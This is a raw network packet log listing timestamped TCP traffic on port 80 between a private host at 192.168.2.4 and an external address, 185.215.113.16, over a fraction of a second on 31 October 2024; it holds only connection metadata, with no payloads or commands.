Oct 31, 2024 20:52:11.119496107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119498014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119508982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119533062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119537115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119543076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119543076 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119554996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119568110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119582891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119602919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119612932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119626045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119642973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119658947 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119680882 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119700909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119738102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119751930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119761944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119796991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119818926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119831085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119851112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119865894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119867086 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119889975 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119894981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119910955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119921923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120011091 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120055914 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120064974 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120076895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120110035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120179892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120220900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120223045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120251894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120285988 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120321035 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120333910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120343924 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120354891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120368004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120383978 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120496988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120510101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120524883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.120546103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.120574951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.161362886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.161395073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.161406040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.161472082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.161504030 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.282685995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.282696962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.282797098 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.282808065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.282886982 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.283909082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.283937931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.283963919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.283987045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284086943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284100056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284123898 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284133911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284136057 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284168959 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284183025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284193993 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284204960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284215927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284219980 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284225941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284245014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284279108 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284300089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284336090 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284359932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284373999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284416914 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284442902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284456015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284466028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284477949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284487009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284506083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284531116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284603119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284614086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284624100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284643888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284647942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284656048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284671068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284672976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284686089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284697056 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284697056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284723043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284737110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284742117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284748077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284759045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284770966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284773111 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284794092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284809113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284820080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284832001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284841061 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284847021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284853935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.284862041 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284878016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.284888029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285430908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285485029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285502911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285516977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285533905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285543919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285551071 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285556078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285578966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285587072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285597086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285598993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285598993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285613060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285621881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285648108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285651922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285660028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285670996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285676003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285689116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285711050 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.285964966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285975933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.285985947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286011934 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286024094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286061049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286073923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286084890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286097050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286108971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286139011 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286156893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286169052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286175013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286183119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286194086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286204100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286206007 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286226034 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286251068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286292076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286303043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286313057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286324024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286334991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286339045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286346912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286351919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286385059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286396027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286396027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286417961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286418915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286431074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286456108 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286473036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286540031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286607981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286616087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286617994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286638975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286648035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286650896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286660910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286662102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286683083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286710978 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286767960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286807060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286834955 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286845922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.286878109 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.286887884 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287205935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287252903 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287283897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287300110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287331104 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287341118 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287343979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287353039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287359953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287365913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287408113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287412882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287434101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287448883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287472963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287529945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287542105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287550926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287575960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287599087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287647009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287664890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287674904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287687063 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287697077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287719965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287760973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287772894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287784100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287792921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.287806988 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287816048 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.287838936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.327718019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.327749968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.327788115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.327811956 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.327888966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.327903032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.327934980 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.327958107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.449594021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.449621916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.449631929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.449686050 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.449697971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.449713945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.449733019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450386047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450434923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450450897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450462103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450495958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450498104 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450535059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450542927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450544119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450575113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450603962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450615883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450628996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450633049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450644016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450670004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450675964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450683117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450695992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450706959 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450721025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450731039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450731993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450757027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450778008 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450787067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450802088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450839996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450850964 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450861931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450867891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450876951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.450903893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.450921059 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451013088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451025963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451035976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451056004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451066971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451132059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451143980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451153994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451179028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451195955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451209068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451212883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451220036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451251984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451261997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451265097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451280117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451292038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451292038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451325893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451339960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451361895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451379061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451390982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451400995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451400995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451411009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451420069 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451422930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.451436996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.451456070 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452095032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452142000 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452150106 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452162981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452173948 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452188015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452200890 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452260017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452301025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452301979 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452311039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452337027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452351093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452385902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452398062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452408075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452419996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452435017 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452445984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452462912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452475071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452476978 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452486038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452497959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452498913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452514887 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452534914 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452544928 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452558994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452569962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452579975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.452596903 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.452616930 CET	49734	80	192.168.2.4	185.215.113.16
